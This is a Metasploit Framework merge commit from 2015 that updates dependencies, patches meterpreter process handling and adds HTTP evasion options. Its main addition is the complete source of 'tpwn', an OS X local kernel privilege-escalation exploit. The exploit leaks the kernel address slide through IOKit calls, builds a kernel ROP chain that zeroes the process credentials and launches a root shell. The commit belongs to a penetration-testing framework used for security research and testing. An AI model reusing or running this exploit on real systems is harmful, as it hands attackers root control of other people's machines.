Merge branch 'master' of ssh://github.com/stufus/metasploit-framework into pageant_extension

This commit is contained in:
Stuart Morgan
2015-09-21 14:34:38 +02:00
223 changed files with 4767 additions and 1723 deletions
+2 -2
View File
@@ -9,7 +9,7 @@ PATH
json
metasploit-concern (= 1.0.0)
metasploit-model (= 1.0.0)
metasploit-payloads (= 1.0.7)
metasploit-payloads (= 1.0.9)
msgpack
nokogiri
packetfu (= 1.1.9)
@@ -123,7 +123,7 @@ GEM
activemodel (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0)
metasploit-payloads (1.0.7)
metasploit-payloads (1.0.9)
metasploit_data_models (1.2.5)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
BIN
View File
Binary file not shown.
+2 -1
View File
@@ -743,7 +743,8 @@ def stdapi_sys_process_close(request, response):
if not proc_h_id:
return ERROR_SUCCESS, response
proc_h_id = proc_h_id['value']
del meterpreter.processes[proc_h_id]
if meterpreter.processes.has_key(proc_h_id):
del meterpreter.processes[proc_h_id]
return ERROR_SUCCESS, response
@meterpreter.register_function
+3
View File
@@ -0,0 +1,3 @@
all:
gcc *.m -o tpwn -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3
strip tpwn
+34
View File
@@ -0,0 +1,34 @@
#ifndef pwn_import_h
#define pwn_import_h
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
#include <IOKit/IOKitLib.h>
#include <dlfcn.h>
#include <string.h>
#include <mach/mach_types.h>
#include <mach-o/loader.h>
#include <sys/types.h>
#include <mach-o/nlist.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include "lsym.h"
#include "lsym_gadgets.h"
#endif
+47
View File
@@ -0,0 +1,47 @@
#ifndef __pwn__lsym__
#define __pwn__lsym__
#include <stdio.h>
#include "import.h"
#define JUNK_VALUE 0x1337133713371337
typedef struct kernel_fake_stack {
uint64_t __cnt;
uint64_t __padding[0x4999];
uint64_t __rop_chain[0x5000];
} kernel_fake_stack_t;
#define LSYM_PAYLOAD_VTABLE 1
struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname);
struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name);
struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd);
typedef struct lsym_map {
void* map;
const char* path;
size_t sz;
} lsym_map_t;
typedef enum {
LSYM_DO_NOT_REBASE = (1 << 0)
} lsym_gadget_flags;
typedef uint64_t lsym_map_pointer_t;
typedef uint64_t lsym_kern_pointer_t;
typedef uint64_t lsym_slidden_kern_pointer_t;
typedef uint64_t lsym_offset_t;
lsym_kern_pointer_t kext_pointer(const char* identifier);
lsym_map_t *lsym_map_file(const char *path);
lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name);
lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags);
lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping);
lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer);
lsym_offset_t lsym_vm_addrperm();
typedef struct kernel_exploit_vector kernel_exploit_vector_t;
#endif /* defined(__pwn__lsym__) */
+159
View File
@@ -0,0 +1,159 @@
#include "lsym.h"
#import <Foundation/Foundation.h>
#include <IOKit/IOKitLib.h>
struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname);
struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name);
struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd);
extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);
extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);
#ifdef FIND_KERNEL_SLIDE
static lsym_offset_t kaslr_slide=0;
static char kaslr_slide_found =0;
#endif
__attribute__((always_inline))
lsym_kern_pointer_t kext_pointer(const char* identifier){
return (lsym_kern_pointer_t)[((NSNumber*)(((__bridge NSDictionary*)OSKextCopyLoadedKextInfo(NULL, NULL))[[NSString stringWithUTF8String:identifier]][@"OSBundleLoadAddress"])) unsignedLongLongValue];
}
__attribute__((always_inline))
lsym_map_t *lsym_map_file(const char *path) {
int fd=open(path, O_RDONLY);
if(fd < 0) return 0;
struct stat sb;
fstat(fd, &sb);
if (sb.st_size < 0x1000) {
return 0;
}
void* map = mmap(NULL, sb.st_size & 0xFFFFFFFF, PROT_READ, MAP_SHARED, fd, 0);
lsym_map_t* ret = (lsym_map_t*)malloc(sizeof(lsym_map_t));
ret->map = map;
ret->path = path;
ret->sz = sb.st_size & 0xFFFFFFFF;
return ret;
}
__attribute__((always_inline))
lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags) {
lsym_offset_t off=(lsym_offset_t)memmem(mapping->map, mapping->sz, bytes, size);
if (!off) {
puts("[-] Couldn't find a ROP gadget, aborting.");
exit(1);
}
return lsym_slide_pointer(((flags & LSYM_DO_NOT_REBASE) == 0 ? lsym_kernel_base(mapping) : 0)+(off - (lsym_offset_t) mapping->map));
}
__attribute__((always_inline))
lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping) {
struct mach_header_64 *mh = mapping->map;
struct segment_command_64 *text = find_segment_64(mh, SEG_TEXT);
return (lsym_kern_pointer_t)text->vmaddr;
}
__attribute__((always_inline))
lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name) {
struct mach_header_64 *mh = mapping->map;
struct symtab_command *symtab = NULL;
struct segment_command_64 *linkedit = NULL;
/*
* Check header
*/
if (mh->magic != MH_MAGIC_64) {
return (lsym_kern_pointer_t)NULL;
}
/*
* Find the LINKEDIT and SYMTAB sections
*/
linkedit = find_segment_64(mh, SEG_LINKEDIT);
if (!linkedit) {
return (lsym_kern_pointer_t)NULL;
}
symtab = (struct symtab_command *)find_load_command(mh, LC_SYMTAB);
if (!symtab) {
return (lsym_kern_pointer_t)NULL;
}
void* symtabp = symtab->stroff + 4 + (char*)mh;
void* symtabz = symtab->stroff + (char*)mh;
void* symendp = symtab->stroff + (char*)mh + symtab->strsize - 0xA;
uint32_t idx = 0;
while (symtabp < symendp) {
if(strcmp(symtabp, name) == 0) goto found;
symtabp += strlen((char*)symtabp) + 1;
idx++;
}
printf("[-] symbol %s not resolved.\n", name); exit(0);
return (lsym_kern_pointer_t)NULL;
found:;
struct nlist_64* nlp = (struct nlist_64*) (((uint32_t)(symtab->symoff)) + (char*)mh);
uint64_t strx = ((char*)symtabp - (char*)symtabz);
unsigned int symp = 0;
while(symp <= (symtab->nsyms)) {
uint32_t strix = *((uint32_t*)nlp);
if(strix == strx)
goto found1;
nlp ++; //sizeof(struct nlist_64);
symp++;
}
printf("[-] symbol not found: %s\n", name);
exit(-1);
found1:
//printf("[+] found symbol %s at 0x%016llx\n", name, nlp->n_value);
return (lsym_kern_pointer_t)nlp->n_value;
}
__attribute__((always_inline))
struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname)
{
struct load_command *lc;
struct segment_command_64 *s, *fs = NULL;
lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64));
while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {
if (lc->cmd == LC_SEGMENT_64) {
s = (struct segment_command_64 *)lc;
if (!strcmp(s->segname, segname)) {
fs = s;
break;
}
}
lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize);
}
return fs;
}
__attribute__((always_inline))
struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name)
{
struct section_64 *sect, *fs = NULL;
uint32_t i = 0;
for (i = 0, sect = (struct section_64 *)((uint64_t)seg + (uint64_t)sizeof(struct segment_command_64));
i < seg->nsects;
i++, sect = (struct section_64 *)((uint64_t)sect + sizeof(struct section_64)))
{
if (!strcmp(sect->sectname, name)) {
fs = sect;
break;
}
}
return fs;
}
__attribute__((always_inline))
struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd)
{
struct load_command *lc, *flc;
lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64));
while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {
if (lc->cmd == cmd) {
flc = (struct load_command *)lc;
break;
}
lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize);
}
return flc;
}
+69
View File
@@ -0,0 +1,69 @@
#ifndef ROP_PIVOT_RAX
/* Short verion of lsym_slide_pointer(lsym_find_symbol()) */
#define RESOLVE_SYMBOL(map, name) lsym_slide_pointer(lsym_find_symbol(map, name))
/* ROP gadgets present in 10.10 */
// stack pivot
#define ROP_PIVOT_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 13, 0)
#define ROP_POP_R14_R15_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 6, 0)
#define ROP_R14_TO_RCX_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF1,0xFF,0x10}), 5, 0)
#define ROP_R14_TO_RDI_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF7,0xFF,0x10}), 5, 0)
#define ROP_AND_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x21,0xc8,0x5d,0xC3}), 5 , 0)
#define ROP_OR_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x09,0xc8,0x5d,0xC3}), 5 , 0)
#define ROP_RCX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0xBA, 0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 9 , 0)
// advanced register control (experimental) - many of these gadget do not require stack pivoting, but allow for register control and register based flow control (which lets us back up registers that our pivot corrupts).
// how the fuck do these gadgets even exist lmao
#define ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x5D, 0xFF, 0xE1}), 6, 0);
#define ROP_RAX_TO_RSI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC6, 0x5D, 0xFF, 0xE1}), 6, 0);
#define ROP_RBX_TO_RSI_CALL_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0xD1}), 5, 0); // This function does movq rbx, rsi; callq *rcx. so *rcx should point to a pop gadget.
#define ROP_RAX_TO_RCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 8, 0);
#define ROP_CR4_TO_RAX_WRITE_RAX_TO_pRCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x20, 0xE0, 0x48, 0x89, 0x01, 0x5D, 0xC3}), 8 , 0)
#define ROP_RAX_TO_CR4_WRITE_ESI_TO_60H_RDI_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x22, 0xE0, 0x89, 0x77, 0x60, 0x5D, 0xC3}), 8 , 0)
#define ROP_PUSH_RBP_8H_RDI_TO_RAX_JMP_0H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x8B, 0x47, 0x08, 0x5D, 0xFF, 0x20}), 0xB , 0)
#define ROP_RAX_TO_RDI_RCX_TO_RSI_CALL_58H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x48, 0x89, 0xCE, 0xFF, 0x50, 0x58}), 9 , 0)
#define ROP_POP_RBX_RBP_JMP_28H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0x5D, 0xFF, 0x60, 0x28}), 5 , 0)
#define ROP_WRITE_RBX_WHAT_R14_WHERE_POP_ _POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x49, 0x89, 0x1E, 0x5B, 0x41, 0x5E, 0x5D, 0xC3}), 8 , 0)
#define ROP_POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5E, 0x5D, 0xC3}), 4, 0)
#define ROP_RBX_TO_RSI_CALL_30H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0x50, 0x30}), 6, 0)
#define ROP_RDI_TO_RBX_CALL_130H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xFB, 0xFF, 0x90, 0x30, 0x01, 0x00, 0x00}), 9, 0)
#define ROP_RSI_TO_RBX_CALL_178H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF3, 0xFF, 0x90, 0x78, 0x01, 0x00, 0x00}), 9, 0)
#define ROP_RSI_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF0, 0x5d, 0xC3}), 5, 0)
#define ROP_INC_48H_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0xff, 0x40, 0x48, 0x5d, 0xC3}), 6, 0)
// register control
#define ROP_POP_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x58, 0xC3}), 2 , 0)
#define ROP_POP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x59, 0xC3}), 2 , 0)
#define ROP_POP_RDX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5A, 0xc3}), 2 , 0)
#define ROP_POP_RBX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0xc3}), 2 , 0)
#define ROP_POP_RSP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0xC3}), 2 , 0)
#define ROP_POP_RSP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0x5d, 0xC3}), 3 , 0)
#define ROP_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5D, 0xc3}), 2 , 0)
#define ROP_POP_RSI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5E, 0xc3}), 2 , 0)
#define ROP_POP_RDI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5F, 0xc3}), 2 , 0)
#define ROP_RSI_TO_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x89, 0xF0, 0x5D, 0xC3}), 9 , 0)
// write gadgets
#define ROP_WRITE_RDX_WHAT_RCX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x11,0x5D,0xC3}), 5 , 0)
#define ROP_WRITE_RAX_WHAT_RDX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x02,0x5D,0xC3}), 5 , 0)
// read gadget
#define ROP_READ_RAX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x8B,0x00,0x5D,0xC3}), 5 , 0)
// simple nop. 0x90 is added to avoid 0xC3 matching non-executable kernel contents.
#define ROP_NULL_OP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x90, 0xC3}), 2, 0);
// helpers
#define PUSH_GADGET(stack) stack->__rop_chain[stack->__cnt++]
#define ROP_ARG1(stack, map, value) ROP_POP_RDI(map); PUSH_GADGET(stack) = value;
#define ROP_ARG2(stack, map, value) ROP_POP_RSI(map); PUSH_GADGET(stack) = value;
#define ROP_ARG3(stack, map, value) ROP_POP_RDX(map); PUSH_GADGET(stack) = value;
#define ROP_ARG4(stack, map, value) ROP_POP_RCX(map); PUSH_GADGET(stack) = value;
#define ROP_RAX_TO_ARG1(stack, map) ROP_POP_RCX(map); PUSH_GADGET(stack) = ROP_NULL_OP(map); PUSH_GADGET(stack) = ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map); PUSH_GADGET(stack) = JUNK_VALUE;
#endif
+286
View File
@@ -0,0 +1,286 @@
#include <Foundation/Foundation.h>
static uint64_t kslide=0;
#define ALLOCS 0x100
#import "import.h"
#import "lsym_gadgets.h"
static mach_port_t servicea = 0;
static mach_port_t servicex = 0;
__attribute__((always_inline)) inline
lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer) {
if (!pointer) return pointer;
return (lsym_slidden_kern_pointer_t) pointer + kslide;
}
__attribute__((always_inline)) static inline
uint64_t alloc(uint32_t addr, uint32_t sz) {
vm_deallocate(mach_task_self(), (vm_address_t) addr, sz);
vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0);
while(sz--) *(char*)(addr+sz)=0;
return addr;
}
__attribute__((always_inline)) static inline
uint64_t leak_heap_ptr(io_connect_t* co) {
io_connect_t conn = MACH_PORT_NULL;
if(IOServiceOpen(servicea, mach_task_self(), 0, co) != KERN_SUCCESS) {
puts("failed");
exit(-20);
}
uint64_t scalarO_64=0;
uint32_t outputCount = 1;
IOConnectCallScalarMethod(*co, 2, NULL, 0, &scalarO_64, &outputCount);
if (!scalarO_64) {
puts("failed infoleaking");
exit(-20);
}
scalarO_64 <<= 8;
scalarO_64 |= 0xffffff0000000000;
return scalarO_64;
}
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_ool_descriptor_t desc;
mach_msg_trailer_t trailer;
} oolmsg_t;
static uint16_t off_w = 0;
__attribute__((always_inline)) static inline
void or_everywhere(uint64_t add) {
io_connect_t conn = MACH_PORT_NULL;
IOServiceClose(0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt
IOServiceOpen(0,0,0,0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt
alloc(0, 0x1000);
volatile uint64_t* mp = (uint64_t*) 0;
if(!off_w) {
while ((uint32_t)mp < 0xC00) {
*mp=(uint64_t)0xC00;
mp++;
}
IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn);
IOServiceClose(conn);
char* kp=(char*)0xC00;
while ((uint32_t)kp < 0x1000) {
if (*kp == 0x10) {
break;
}
kp++;
}
if ((uint32_t)kp == 0x1000) {
vm_deallocate(mach_task_self(), 0, 0x1000);
puts("not vulnerable");
exit(-1);
}
mp=0;
while ((uint32_t)mp < 0xC00) {
*mp=(uint64_t)0xC00 - (uint32_t)(kp-0xC00);
mp++;
}
IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn);
IOServiceClose(conn);
if (*((char*)0xC00)!=0x10) {
vm_deallocate(mach_task_self(), 0, 0x1000);
puts("wrong offset");
exit(-2);
}
off_w = (uint16_t) kp - 0xc00;
}
mp=0;
while ((uint32_t)mp < 0xC00) {
*mp=(uint64_t)(add - off_w);
mp++;
}
IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn);
vm_deallocate(mach_task_self(), 0, 0x1000);
IOServiceClose(conn);
}
__attribute__((always_inline)) static inline
void send_kern_data(char* vz, size_t svz, mach_port_t* msgp) {
oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1);
if(!*msgp){
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, msgp);
mach_port_insert_right(mach_task_self(), *msgp, *msgp, MACH_MSG_TYPE_MAKE_SEND);
}
bzero(msg,sizeof(oolmsg_t));
msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->header.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
msg->header.msgh_remote_port = *msgp;
msg->header.msgh_local_port = MACH_PORT_NULL;
msg->header.msgh_size = sizeof(oolmsg_t);
msg->header.msgh_id = 1;
msg->body.msgh_descriptor_count = 1;
msg->desc.address = (void *)vz;
msg->desc.size = svz;
msg->desc.type = MACH_MSG_OOL_DESCRIPTOR;
mach_msg( (mach_msg_header_t *) msg, MACH_SEND_MSG, sizeof(oolmsg_t), 0, 0, 0, 0 );
free(msg);
}
__attribute__((always_inline)) static inline
char* read_kern_data(mach_port_t port) {
oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1);
bzero(msg,sizeof(oolmsg_t)+0x2000);
mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG, 0, sizeof(oolmsg_t)+0x2000, (port), 0, MACH_PORT_NULL);
return msg->desc.address;
}
int main(int argc, char** argv, char** envp){
if (getuid() == 0) {
execve("/bin/sh",((char* []){"/bin/sh",0}), envp);
exit(0);
}
if((int)main < 0x5000) execve(argv[0],argv,envp);
lsym_map_t* mapping_kernel=lsym_map_file("/mach_kernel");
if (!mapping_kernel || !mapping_kernel->map) {
mapping_kernel=lsym_map_file("/System/Library/Kernels/kernel");
}
lsym_map_t* mapping_audio=lsym_map_file("/System/Library/Extensions/IOAudioFamily.kext/Contents/MacOS/IOAudioFamily");
kslide = kext_pointer("com.apple.iokit.IOAudioFamily") + RESOLVE_SYMBOL(mapping_audio, "__ZTV23IOAudioEngineUserClient") + 0x10;
sync();
kern_return_t err;
io_iterator_t iterator;
IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHDIXController"), &iterator);
servicex = IOIteratorNext(iterator);
IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOAudioEngine"), &iterator);
servicea = IOIteratorNext(iterator);
uint64_t c = 0;
or_everywhere((uint64_t)&c);
if (c != 0x10) {
puts("not vulnerable");
return 2;
}
int ctr=0;
#define DO_TIMES(x) for(ctr=0;ctr<x;ctr++)
struct KernelHeapInfo {
io_connect_t connect;
uint64_t kobject;
mach_port_t port;
} *heap_info = calloc(sizeof(struct KernelHeapInfo),ALLOCS);
char* vz = calloc(1500,1);
again:;
int maxt = 10;
while (maxt--) {
if (heap_info[maxt+2].connect) {
IOServiceClose(heap_info[maxt+2].connect);
heap_info[maxt+2].connect=0;
}
}
maxt = 10;
while (((heap_info[0].kobject = leak_heap_ptr(&(heap_info[0].connect))) & 0xFFF) == 0xC00) { heap_info[0].connect=0; };
while ((heap_info[1].kobject = leak_heap_ptr(&(heap_info[1].connect))) ) {
if (heap_info[1].kobject == 1024+heap_info[0].kobject) {
break;
}
if (maxt == 0) {
goto again;
}
maxt--;
heap_info[maxt+2].connect=heap_info[1].connect;
heap_info[1].connect=0;
};
if (!heap_info[1].connect || !heap_info[0].connect) {
exit(-3);
}
IOServiceClose(heap_info[0].connect); // poke hole
DO_TIMES(ALLOCS) {
send_kern_data(vz, 1024 - 0x58, &(heap_info[ctr].port));
}
or_everywhere(heap_info[0].kobject + 16);
or_everywhere(heap_info[0].kobject + 500);
char found = 0;
DO_TIMES(ALLOCS) {
char* data = read_kern_data(heap_info[ctr].port);
if (!found && memcmp(data,vz,1024 - 0x58)) {
kslide = (*(uint64_t*)((1024-0x58+(char*)data))) - kslide ;
found=1;
}
}
if (!found) {
exit(-3);
}
printf("leaked kaslr slide, @ 0x%016llx\n", kslide);
kernel_fake_stack_t* stack = calloc(1,sizeof(kernel_fake_stack_t));
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, heap_info[1].kobject+0x208);
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, sizeof(uint64_t));
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero");
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, heap_info[1].kobject+0x220);
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, 1)
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero");
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_current_proc");
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_proc_ucred");
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_posix_cred_get");
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, sizeof(int)*3)
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero");
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uid_t)getuid())
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, (int)-1);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_chgproccnt");
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uid_t)0);
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, (int)1);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_chgproccnt");
PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);
PUSH_GADGET(stack) = heap_info[1].kobject+0x210;
PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel);
PUSH_GADGET(stack) = JUNK_VALUE;
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_IORecursiveLockUnlock");
PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);
PUSH_GADGET(stack) = heap_info[1].kobject+0xe0;
PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel);
PUSH_GADGET(stack) = JUNK_VALUE;
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "__ZN10IOWorkLoop8openGateEv");
PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);
PUSH_GADGET(stack) = heap_info[1].kobject+0xe8;
PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel);
PUSH_GADGET(stack) = JUNK_VALUE;
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "__ZN13IOEventSource8openGateEv");
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uint64_t)"Escalating privileges! -qwertyoruiop\n")
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_IOLog");
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_thread_exception_return");
uint64_t* vtable=malloc(0x1000);
vtable[0] = 0;
vtable[1] = 0;
vtable[2] = 0;
vtable[3] = ROP_POP_RAX(mapping_kernel);
vtable[4] = ROP_PIVOT_RAX(mapping_kernel);
vtable[5] = ROP_POP_RAX(mapping_kernel);
vtable[6] = 0;
vtable[7] = ROP_POP_RSP(mapping_kernel);
vtable[8] = (uint64_t)stack->__rop_chain;
or_everywhere(heap_info[1].kobject+0x220); // set online
or_everywhere(heap_info[1].kobject+0x208); // set userbuffer to 0x000000000010 (!= NULL)
alloc(0, 0x1000);
volatile uint64_t* mp = (uint64_t*) 0x10;
mp[0] = (uint64_t)0;
mp[1] = (uint64_t)vtable;
mp[2] = (uint64_t)&mp[1];
uint64_t xn = IOConnectRelease((io_connect_t )heap_info[1].connect); // running code!
vm_deallocate(mach_task_self(), 0, 0x1000);
setuid(0);
if (getuid() == 0) {
system("/bin/sh");
exit(0);
}
puts("didn't get root, but this system is vulnerable. ");
puts("kernel heap may be corrupted");
return 1;
}
@@ -73,6 +73,14 @@ module Metasploit
# @return [Boolean] Whether to use random casing for the HTTP method
attr_accessor :evade_method_random_case
# @!attribute evade_version_random_valid
# @return [Boolean] Whether to use a random, but valid, HTTP version for request
attr_accessor :evade_version_random_valid
# @!attribute evade_version_random_invalid
# @return [Boolean] Whether to use a random invalid, HTTP version for request
attr_accessor :evade_version_random_invalid
# @!attribute evade_uri_dir_self_reference
# @return [Boolean] Whether to insert self-referential directories into the uri
attr_accessor :evade_uri_dir_self_reference
@@ -294,6 +302,8 @@ module Metasploit
'method_random_valid' => evade_method_random_valid,
'method_random_invalid' => evade_method_random_invalid,
'method_random_case' => evade_method_random_case,
'version_random_valid' => evade_version_random_valid,
'version_random_invalid' => evade_version_random_invalid,
'uri_dir_self_reference' => evade_uri_dir_self_reference,
'uri_dir_fake_relative' => evade_uri_dir_fake_relative,
'uri_use_backslashes' => evade_uri_use_backslashes,
+1 -1
View File
@@ -80,7 +80,7 @@ class Logging
# @return [void]
def self.start_session_log(session)
if (log_source_registered?(session.log_source) == false)
f = Rex::Logging::Sinks::Flatfile.new(
f = Rex::Logging::Sinks::TimestampFlatfile.new(
Msf::Config.session_log_directory + File::SEPARATOR + "#{session.log_file_name}.log")
register_log_source(session.log_source, f)
@@ -241,7 +241,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
host_data = {}
host_data[:task] = args[:task]
host_data[:workspace] = wspace
host_data[:host] = nils_for_nulls(host.elements["address"].text.to_s.strip)
host_data[:host] = nils_for_nulls(unserialize_object(host.elements["address"]))
if bl.include? host_data[:host]
next
else
+2 -1
View File
@@ -96,8 +96,9 @@ module Msf::DBManager::Session
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
